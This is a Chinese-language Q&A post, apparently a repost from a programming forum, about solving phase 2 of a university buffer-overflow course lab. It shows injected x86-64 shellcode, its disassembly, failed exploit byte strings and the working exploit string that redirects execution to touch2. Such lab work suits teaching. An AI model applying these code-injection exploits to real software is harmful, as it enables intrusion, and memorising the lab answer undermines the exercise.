如何解决攻击实验室阶段2缓冲区溢出攻击
我有一个名为The Attack Lab的项目必须做的缓冲区溢出实验。我现在处于实验的第二阶段,我必须将代码作为漏洞利用字符串的一部分注入,以使程序指向函数touch2()的地址。我已经获得了我需要的正确利用代码(已通过TA确认):
movq $0x4ed659a2,$rdi
pushq $0x4018c3 //address of touch2
ret
我编译并反汇编了这段代码:
disassembly of section .text:
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: 68 c3 18 40 00 pushq $0x4018c3
c: c3 retq
我想找到正确的利用程序字符串以传递到程序中? %rsp
的地址为0x5560a188
。
我的助教说this discussion的评论是正确的,所以我尝试了此漏洞利用字符串
48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
但这是不正确的。它甚至没有达到touch2
。
在此之前,我致力于以下解决方案:
48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00
为
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: c3 retq
发生段错误。
我反汇编了rtarget here。 ctarget和rtarget的行为相同。
谢谢。
解决方法
我已经问过我的教授并得到了解决方案。
最初,我的错误利用字符串是
48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
但是,我的教授告诉我不要在指令之间添加任何额外的字节。所以我尝试了
48 c7 c7 a2 59 d6 4e
68 c3 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
它有效!
因此,我们只需要确保指令的所有字节都在一起且中间没有填充,并且不要弄乱指令的字节顺序!
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。